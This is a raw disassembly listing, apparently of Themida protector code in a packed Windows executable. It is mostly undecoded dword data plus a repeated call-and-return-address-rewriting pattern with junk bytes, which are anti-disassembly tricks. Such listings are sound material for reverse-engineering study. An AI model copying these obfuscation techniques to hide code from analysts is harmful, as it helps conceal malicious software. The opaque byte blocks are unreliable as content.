		dd 83E290BFh, 840F01E1h, 30h, 2989B589h, 0A5830611h, 611067Dh
		dd 0F1BD89FEh, 89061133h, 110B3995h, 6E806h, 0CA030000h
		dd 0F0EDE555h, 14CDB529h, 0E95B0611h, 0
; ---------------------------------------------------------------------------


loc_5920A8:				; CODE XREF: Themida_:00591FA0j
		lea	esi, [ebp+615010Ch]
		jmp	loc_5920BB
; ---------------------------------------------------------------------------
		db 49h
		dd 0E92FEFDFh
		db 81h,	13h, 5Ch
; ---------------------------------------------------------------------------


loc_5920BB:				; CODE XREF: Themida_:005920AEj
		push	0
		push	0
		push	ebx
		call	sub_5920C8
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5920C8	proc near		; CODE XREF: Themida_:005920C0p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5920C8	endp

; ---------------------------------------------------------------------------
		fstp	qword ptr [ebx+2344656Dh]
		fild	dword ptr [ebx]
		push	esp
		call	dword ptr [ebp+61105C5h]
		add	di, 7812h
		mov	ecx, 778h
		push	0
		push	ebp
		call	sub_5920FC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5920FC	proc near		; CODE XREF: Themida_:005920F4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5920FC	endp

; ---------------------------------------------------------------------------
		xchg	cl, al
		inc	edi
		add	[edi-1E7CBDD9h], esi
		cld
		add	[ebp+61130F5h],	eax
		cld
		jmp	loc_592136
; ---------------------------------------------------------------------------
		dw 30E2h
		dd 6558A746h, 4D5ACE41h, 23720762h, 385CA369h
		db 0F5h, 8
; ---------------------------------------------------------------------------


loc_592136:				; CODE XREF: Themida_:0059211Dj
		mov	eax, 0
		push	0
		push	edi
		call	sub_592146
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592146	proc near		; CODE XREF: Themida_:0059213Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_592146	endp

; ---------------------------------------------------------------------------
		dw 2278h
		dd 9DEE71Dh, 51B1FE4Bh,	0C859D8Bh, 0BA5B0611h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_592177
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592177	proc near		; CODE XREF: Themida_:0059216Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_592177	endp

; ---------------------------------------------------------------------------
		db 4
		dd 33AD742Fh, 3E8D1C2h,	4E983D0h, 6AF475h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 5D49C1C3h
		dd 6EFC33B5h, 667F5584h, 801AF381h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 43C35646h, 54D275D5h, 880D0Ch
		dd 0BD290000h, 6111801h, 285D958Bh, 8BF50611h, 1123919Dh
		dd 0D18D8B06h, 6A06112Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 825FC357h, 0ECB50CA5h
		dd 505F8F12h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 0FB8B6658h, 1870Fh, 83FC0000h, 112381BDh, 840F0006h
		dd 78h,	0B854EF80h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_59225F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59225F	proc near		; CODE XREF: Themida_:00592257p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_59225F	endp

; ---------------------------------------------------------------------------
		db 0A9h
; ---------------------------------------------------------------------------
		jg	loc_59227D
		js	loc_59227D
		cld


loc_59227D:				; CODE XREF: Themida_:00592270j
					; Themida_:00592276j
		lea	ecx, [ebp+6114E3Eh]
		push	0
		push	ecx
		call	sub_59228E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59228E	proc near		; CODE XREF: Themida_:00592286p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_59228E	endp

; ---------------------------------------------------------------------------
		dw 9F51h
		dd 0FF1D708Eh, 51006AE1h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 4C50E32Eh, 2709BD83h
		dd 0F000611h, 3B084h, 0D59D8900h, 8306110Bh, 112709BDh
		dd 840F0106h, 3B8h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 53C35646h, 177A3C19h,	0FCFD4895h, 0CD9D0130h
		dd 8306110Bh, 112709BDh, 860F0306h, 34Ah, 14958D29h, 8B600611h
		dd 0D98C66D8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	64C35747h, 0FC4F2D9h, 0E180D9B7h, 0CBBB6604h, 0FC90A7Bh
		dd 11B84h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1C04h, 0C3504000h, 2C5003F7h, 88D076A5h, 0B589F946h
		dd 6110A3Dh, 1BF5858Bh,	6A0611h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 83AE9CC3h, 0BF6658AEh
		dd 8533C313h, 6110305h,	0F995BF66h, 0BB525090h,	25DFCB41h
		dd 7E8310Fh, 0B8000000h, 4ABDF9CDh, 5F570F31h, 50585A5Fh
		dd 6690D88Bh, 0E9F1B3BFh, 0Ah, 14A87921h, 0DAED976Bh, 6AD8D9h
		dd 4E8DF8Bh, 0FF000000h, 50001F03h, 8E8h, 60F39C00h, 0FF689B12h
		dd 525060F8h, 585A310Fh, 5B615A50h, 424448Bh, 8BFA8B66h
		dd 89B6B700h, 66042444h, 0F58DE8Bh, 681h, 0A9958900h, 0FF061102h
		dd 112AC195h, 8589F506h, 614BD76h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 37C35343h, 7A2EA2F2h, 66FC8A31h
		dd 0E9B583BFh, 18Fh, 1D999D8Bh,	95890611h, 6110605h, 0BD6E858Bh
		dd 0EF800614h, 0BCE3819Ah, 0C711296Eh, 1800h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 124B4D8Dh, 1236CF04h, 7E9h, 9C7A1B00h, 53331288h, 0BD72B58Bh
		dd 0F7810614h, 75623624h, 14E9858Bh, 12E90611h,	1B000000h
		dd 280E652Fh, 0DCD65C81h, 5189A2EFh, 0AD42BC80h, 6A06893Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0FACC355h, 858BFBBFh, 6111BF5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0E3C35646h, 24E6CDFFh
		dd 4468926h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	85C35747h, 23ECA7CAh, 111F319Dh, 34895006h, 3D8D8924h
		dd 0FF06110Ch, 14BD6EB5h, 0EDB58906h, 81061114h, 3480D4DFh
		dd 3F4B6813h, 0DE8B6E6Dh, 0B4243481h, 0F56E723Ch, 0BD76858Dh
		dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 617301C3h, 2AE897C0h, 83B750CAh, 6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0C9C9C352h, 5711D1A6h, 0C195FF1Ah, 6A06112Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0C934C356h, 816692FBh, 61C55DC3h,	2870Fh
		dd 78B30000h, 270985C7h, 30611h, 95890000h, 611122Dh, 9367BF66h
		dd 0BD76BD83h, 0F000614h, 4584h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 5B1ECCB5h
		dd 9D8BF9CFh, 6110DC1h,	34E9h, 10E800h,	52AF0000h, 0FB43A908h
		dd 88280FBCh, 6358150Eh, 0B70F4D24h, 30505BDAh,	4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 718589C0h
		dd 906110Ah, 11009595h,	9BD8306h, 3061127h, 435850Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 6660D1C3h, 0F113D381h, 0F018533h, 0F8610611h, 0BD76BD83h
		dd 0F000614h, 3FE84h, 76B5FF00h, 0E90614BDh, 8,	0EBF52D3Ah
		dd 0A5486D64h, 329195FFh, 0BE90611h, 66000000h,	7F6255C9h
		dd 70009E65h, 0B58B4A3Fh, 614BD6Ah, 699D8Bh, 6C70611h
		dd 10001h, 2969B529h, 50960611h, 66310F52h, 585ADA8Bh
		dd 5E850h, 0D04D0000h, 0E8CDDAF9h, 8, 0C28E4125h, 335C4CA5h
		dd 5BD98B66h, 6A965Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 7FC82EC3h, 0EDCD644Bh, 0BD76B5FFh
		dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 11CB6BC3h, 41678D49h, 1FE1BD8Bh, 9D8B0611h
		dd 6111CD1h, 0E995FFh, 6A0611h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 4D84A6C3h, 0CBECDCh
		dd 8B5BF550h, 11283D9Dh, 6AB58B06h, 6A0614BDh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0B2EFC357h, 0EF816662h, 858B3BB9h, 6111425h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 88C35646h, 3D2F03A4h
		dd 0DE9h, 0DCE4A00h, 0DCE5FA75h, 17F36104h, 8689AA94h
		dd 0C4h, 2921BD29h, 958B0611h, 611285Dh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 55C35141h, 5E972C7h
		dd 77000000h, 9095AF34h, 6A04C283h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 3265C356h
		dd 0B08EDF22h, 41ACABA4h, 0B205089h, 111E359Dh,	62858D06h
		dd 6A0614D0h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 6D24C355h, 86898A08h, 0B8h, 254C76BBh
		dd 8B006A05h, 11140DBDh, 76B5FF06h, 0BB0614BDh,	270440CAh
		dd 0DE9h, 7800D600h, 47E6EEB0h,	0D9E0171Fh, 95FFD586h
		dd 6112B65h, 0FD4B860h,	0BF664DE0h, 966133A1h, 66525050h
		dd 310FDE8Bh, 0EE9h, 5B822D00h,	9C066C93h, 0B7AF6654h
		dd 5A61BC75h, 6A9658h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 88130DC3h, 8EDDC133h, 0EE8h, 259E7000h
		dd 0EFAAAEh, 9A66995Bh,	66073A8Dh, 2EFD381h, 76B5FF5Fh
		dd 8B0614BDh, 2995FFF9h, 6A06110Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 61E6C350h
		dd 0B70F603Dh, 0BD8361CBh, 6112761h, 4F840F00h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0A2E5C356h, 4BF58D17h, 0BF66965Ah, 665060CEh
		dd 6A96FE8Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0D7FEC352h, 1B359D8Bh,	0B5FF0611h
		dd 614BD76h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0CEC35242h, 8B659A4Eh, 0BDD19AD2h, 9D9D8BD2h, 8906112Dh
		dd 1127A18Dh, 0F195FF06h, 6A061112h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 2307C356h
		dd 111EC9BDh, 76B5FF06h, 6A0614BDh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2FD8C357h
		dd 0B3481BF8h, 0FFFA8AD7h, 1105B995h
		dd 18E0F06h, 0F9000000h, 13DBD83h, 0F020611h, 4884h, 6870F00h
		dd 81000000h, 1A5ED7DFh, 8BDA8B4Ch, 11310185h, 0DF8B6606h
		dd 6A0000C6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0B2E9C357h, 8A525EACh,	3D9D89F8h
		dd 89061118h, 1106F185h, 0D585C706h, 61104h, 0E9000000h
		dd 0FFFFF440h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0C35646h, 0F355933h, 0C18BD8BFh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 68C35141h, 9D8BBDA8h
		dd 611020Dh
; ---------------------------------------------------------------------------


loc_592B54:				; CODE XREF: Themida_:loc_591E62j
		lea	eax, [ebp+6112795h]
		jl	loc_592B69
		pusha
		sub	si, 808Dh
		pusha
		popa
		popa


loc_592B69:				; CODE XREF: Themida_:00592B5Aj
		push	eax
		push	ecx
		pusha
		push	eax
		pop	edx
		popa
		pop	ebx
		mov	[esp], eax
		push	0
		push	esi
		call	sub_592B7E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592B7E	proc near		; CODE XREF: Themida_:00592B76p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_592B7E	endp

; ---------------------------------------------------------------------------
		dw 0CBD0h
		dd 28D6D084h, 347129B9h, 32E99D8Bh, 9D8B0611h, 61114E5h
		dd 60006AF8h, 69BD0952h, 5906110Ch, 0EE9h, 0F3425200h
		dd 0F11854CEh, 0EB9A6C27h, 61B05A33h, 8DFC006Ah, 15913785h
		dd 0B1B58906h, 83061129h, 0EE805C0h, 32000000h,	724ED64Eh
		dd 0E4044E4h, 0CA73D45Dh, 599D8925h, 5F06112Bh,	0F18B6090h
		dd 12E9h, 0EDC9EE00h, 88A98F8Ch, 899C3179h, 6252799Bh
		dd 6128E4A6h, 0CE950h, 0D2090000h, 46747780h, 0D146F2F3h
		dd 0BF90D5B1h, 1CB186CCh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 26198DC3h, 11E933h, 0ED6A0000h
		dd 643D8DEFh, 2BA2718Fh, 0E8925E6Ch, 6AB0665Fh,	6890F00h
		dd 81000000h, 0BD92FBC7h, 5D95FF4Bh, 81061107h,	5B42ACFh
		dd 208D8D07h, 6A0614A4h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 3234C352h, 0D1B450DBh
		dd 0FFA577B7h, 0DB589D1h, 83061100h, 111B71BDh,	850F0106h
		dd 49h,	30A1BD29h, 26A0611h, 0BE9h, 691D8400h, 8F4953D5h
		dd 650AB18Ch, 8940B350h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0D3E672C3h, 6595FFF9h
		dd 8906112Bh, 111FA1BDh, 0D43E906h, 0E80000h, 5D000000h
		dd 9141ED81h, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0C7BDE4C3h, 619D8BAAh, 8B061123h
		dd 112B219Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 68858DA5h, 66061489h, 50BA4CBBh
		dd 82D2BABBh, 2404894Eh, 9E8h, 57ADA00h, 8CDD9FB6h, 8166021Fh
		dd 5FBEA9F3h, 35FF64h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 9AAEC357h
		dd 9D8B20C5h, 6112141h,	64FA8B66h, 2589h, 13E80000h, 89000000h
		dd 0D57CA95h, 97312284h, 87A43C23h, 0EC8224C2h,	9D8BB931h
		dd 611127Dh, 0AD85FF5Bh, 89061107h, 1123419Dh, 6AFF6A06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 2623C356h, 0E3508015h, 0F1BD2957h, 5B06111Dh
		dd 0CE9h, 0C7C3200h, 0B5205D42h, 578F9A98h, 89B5FF78h
		dd 0F06110Ah, 0C8Bh, 68F0F00h, 29000000h, 112495B5h, 0DA8B6606h
		dd 150D95FFh, 5AE90611h, 0E9000001h, 0Ah, 82A07232h, 0B8765D90h
		dd 0B07EB1h, 18B0Fh, 0E6F80000h, 6D85BF70h, 71E43C98h
		dd 2C79BD8Bh, 613C0611h, 12B830Fh, 0BF660000h, 0B60FDD65h
		dd 91BD8BC8h, 0BA06110Eh, 6, 0D0816660h, 9509D781h, 6111CB9h
		dd 0CE961h, 22270000h, 6F953C02h, 0C45185D4h, 0C18B2109h
		dd 9E8h, 489B3200h, 30EB0133h, 810FBCE9h, 12h, 0DE9h, 0DA70B500h
		dd 0DC42058Eh, 0F22429Bh, 8B5F36BEh, 112C3D9Dh,	4E8C106h
		dd 0BD895B56h, 6111E91h, 0E9E2F766h, 0Ah, 13734BACh, 79B0F9D6h
		dd 3B7F6C9h, 9D01C82Bh,	6111CE1h, 12E9D18Bh, 0B6000000h
		dd 0C3B651E7h, 0DD21C14Fh, 2622632Eh, 0D631D376h, 6E99Fh
		dd 9D2B0000h, 6110FE9h,	2389858Bh, 0CABB0611h, 83233424h
		dd 15307C0h, 11122D95h,	0C0835F06h, 81665100h, 5FE094DFh
		dd 830FD03Bh, 12h, 30A9B589h, 4EE90611h, 8B000000h, 3DCDBBFEh
		dd 8D8B7D94h, 6112A0Dh,	6302E381h, 0E1835338h, 32840F01h
		dd 0BB000000h, 2BB5B2FAh, 2A0DA583h, 8BFE0611h,	111335BDh
		dd 89958906h, 0F061123h, 0F86h,	0AE900h, 0FFA00000h, 3A2D71E0h
		dd 7907EF27h, 0E9h, 0CBB58D00h,	89061509h, 110DA185h, 0FF006A06h
		dd 1105C595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 163AF23Fh, 0F19589E4h, 0B9061106h
		dd 905h, 18598D89h, 0E1830611h,	6E9FCh,	0A0E10000h, 42DFC69Bh
		dd 1FEDBD8Bh, 23FC0611h, 1129E5BDh, 6AC02B06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0BB50C350h, 0BA62h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 73A2A9C3h, 0C233AD58h
		dd 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 9E9461Dh, 4C000000h
		dd 0F16AD8FDh, 0C69BA0E1h, 0A8BB5150h, 5F456FB6h, 65BD2B5Bh
		dd 66061103h, 54F7DB81h, 880Dh,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 22CD0322h
		dd 0FB8B6660h, 285D958Bh, 6A0611h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 4709E2C3h, 8D313F48h
		dd 6111815h, 2DD18D8Bh,	0E7800611h, 0C28B50C5h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 1109E19Dh, 0D88B6606h
		dd 2381BD83h, 0F000611h, 7584h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0E1E74670h
		dd 5902C13Eh, 0B5092706h, 6111FBDh, 0BDDBD89h, 0B80611h
		dd 89000000h, 11206D9Dh, 3E8D8D06h, 8B06114Eh, 111F3DBDh
		dd 6AE1FF06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 16AEC353h, 37996A30h, 97DACB5Eh
		dd 52FABFFCh, 0BD836868h, 6112709h, 2E840F00h, 0F000004h
		dd 0BD83F8B7h, 6112709h, 39840F01h, 0F000004h, 88h, 9BD8300h
		dd 3061127h, 3F0860Fh, 66600000h, 0F88AD98Ch, 0E1802DB3h
		dd 958B6004h, 6112849h,	3199589h, 0A610611h, 40840FC9h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 8713C356h, 0F5858BCBh,	8B06111Bh
		dd 111265BDh, 5853306h,	6A061103h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0C6D3C352h
		dd 0F29BF47h, 2ABB5150h, 5B233430h, 89240489h, 110E0DBDh
		dd 89006A06h, 111B35BDh, 4E806h, 3FF0000h, 6660001Fh, 616A9ABAh
		dd 60525050h, 810Fh, 0F610000h,	0F98B6631h, 448B585Ah
		dd 8B0424h, 0DF8B5250h,	12E8310Fh, 0A6000000h, 80C5BAFDh
		dd 0E9CC0A0h, 0A09BCA81h, 8892B95h, 5B5B5386h, 4489585Ah
		dd 6A580424h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0D2BAC353h, 89139C53h,	89D673A0h
		dd 112489BDh, 0FFFB8B06h, 112AC195h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 9D6F14BCh
		dd 51BD8B63h, 8906111Dh, 14BD7685h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0EFF9BB0Eh
		dd 0E3E94908h, 66000001h, 8B1315BBh, 14BD6E85h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0C7B4F653h, 1800h, 59BD8B00h, 8B061118h, 14BD72B5h
		dd 0E9F98A06h, 9, 3BA0C16Ch, 0F5EF056Dh, 0E9858BB5h, 6A061114h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 69DEC357h, 119A9250h, 8D893FEAh, 6113061h
		dd 6A0689h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0A3FF59C3h, 0FF4691Ah, 0E85h, 9E900h, 0C38B0000h, 3C2F452h
		dd 8B67242Dh, 111BF585h, 0F98B6606h, 6A044689h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0F95EC353h, 0D46E0CE8h, 9D89F0CAh, 6112B01h,	5DC5BB50h
		dd 34891CA1h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 8E4326A9h, 0D4A0D40Ch, 9ED9531h
		dd 0B5FF0611h, 614BD6Eh, 0C3816656h, 685BB177h,	699787A4h
		dd 0FE8h, 6E26CA00h, 8E9F518Eh,	743D1D70h, 0AA398A34h
		dd 5E9h, 0A5D1D200h, 815F8E19h,	845B2434h, 6A6988h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0BDC5A9C3h, 0B1E3853Eh, 0C4FDDF81h, 858D3F03h, 614BD76h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0DAC35141h
		dd 0CCE2BB66h, 5BBF6690h, 0EE95015h, 29000000h,	619D3521h
		dd 0AF052D4Ah, 6FF67C1Ch, 6A906Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0FA5D2CC3h, 95FFFE8Bh
		dd 6112AC1h, 3459589h, 66610611h, 0C7F8F2BFh, 11270985h
		dd 306h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 34913AFFh, 12E8D1h, 6B6E0000h, 58164671h
		dd 0AC76E9AAh, 71E17062h, 3344F57Ch, 27919D8Bh,	8B5B0611h
		dd 1130F1BDh, 76BD8306h, 614BDh, 50840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0A95276C3h, 809BEA95h, 0F3F6AA6h, 887h, 2830F00h, 0B7000000h
		dd 33E96Ah, 13E90000h, 31000000h, 5DD2B47Bh, 211A2B30h
		dd 2758540h, 79E74E05h,	30501DC6h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 54EA24AAh
		dd 0AF0F1904h, 0EE8FBC6h, 0A4000000h, 0D7E55712h, 334BEC5Ch
		dd 0B958DBBAh, 0EB816679h, 525FE0D2h, 0BE8h, 1C5D4600h
		dd 0C40FA8CAh, 6B8F7E3Fh, 5BFE8B66h, 29BD8B5Bh,	8906111Bh
		dd 1103A995h, 9BD8306h,	3061127h, 392850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 3008C3C3h, 88B654ACh, 0D8B70FFCh, 0BD76BD83h, 0F000614h
		dd 35F84h, 28E0F00h, 8A000000h,	76B5FFDEh, 0B0614BDh, 110055BDh
		dd 0F3816606h, 95FF6257h, 6113291h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 60C35141h, 0BE946h,	5DDD0000h
		dd 48C48A61h, 469EF312h, 6AB58BF5h, 890614BDh, 112ACDBDh
		dd 106C706h, 31000100h,	1103B9BDh, 60509606h, 0E860D38Ah
		dd 0Eh,	9B1FD67h, 75CE074h, 0FB0A879Ch,	0F5A6D05h, 8Ah
		dd 96616100h, 5E8h, 8735200h, 816674C0h, 5B93E8D7h, 0BD76B5FFh
		dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0BE4DFEC3h, 0E995FF64h, 6A061100h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 8F97C351h, 3DA0730Ah, 10E97619h, 0C6000000h,	0DF8F920Fh
		dd 0D2694095h, 0D03522A0h, 8B4F06B1h, 14BD6AB5h, 6E906h
		dd 61E0000h, 0F955CEEh,	1425858Bh, 86890611h, 0C4h, 13E9h
		dd 0A9B7C300h, 0C1E35500h, 6F2B636Dh, 0EAB4530Ah, 742C1184h
		dd 285D958Bh, 0F98B0611h, 2373EF81h, 0C28341ACh, 50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 7BBC67F2h, 39E5D911h, 6E893h, 0D8740000h, 1C80F15Bh
		dd 5FD88B66h, 0F205089h, 0E8Eh,	800F6000h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+6112081h],	edx
		popa
		lea	eax, [ebp+614D062h]
		xor	bx, 0F4EFh
		mov	[esi+0B8h], eax
		push	0
		push	edi
		call	sub_59383B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59383B	proc near		; CODE XREF: Themida_:00593833p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_59383B	endp

; ---------------------------------------------------------------------------
		db 9, 0E4h
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		inc	edi
		les	esi, [edi]
		and	bx, 0FF83h
		push	0
		mov	[ebp+6113119h],	edx
		push	dword ptr [ebp+614BD76h]
		push	0
		push	ecx
		call	sub_59386F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59386F	proc near		; CODE XREF: Themida_:00593867p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_59386F	endp

; ---------------------------------------------------------------------------
		db 0Ah
		dd 57FEF9ECh, 60457C61h, 14C9B589h, 0BF660611h,	95FF45F3h
		dd 6112B65h, 9659CF80h,	50FA8B66h, 146076BBh, 6A966Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 7A2980C3h, 0F88B7872h, 0BD76B5FFh, 6A0614h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0A19DF5C3h, 0F49B7EB3h, 8B146F55h, 2995FFD8h, 8906110Eh
		dd 110E69B5h, 61BD8306h, 61127h, 22840Fh, 0BB660000h, 8A96EC4Ah
		dd 11E950FCh, 5F000000h, 0EA97F28Ah, 5B85A605h,	6F746E6Ch
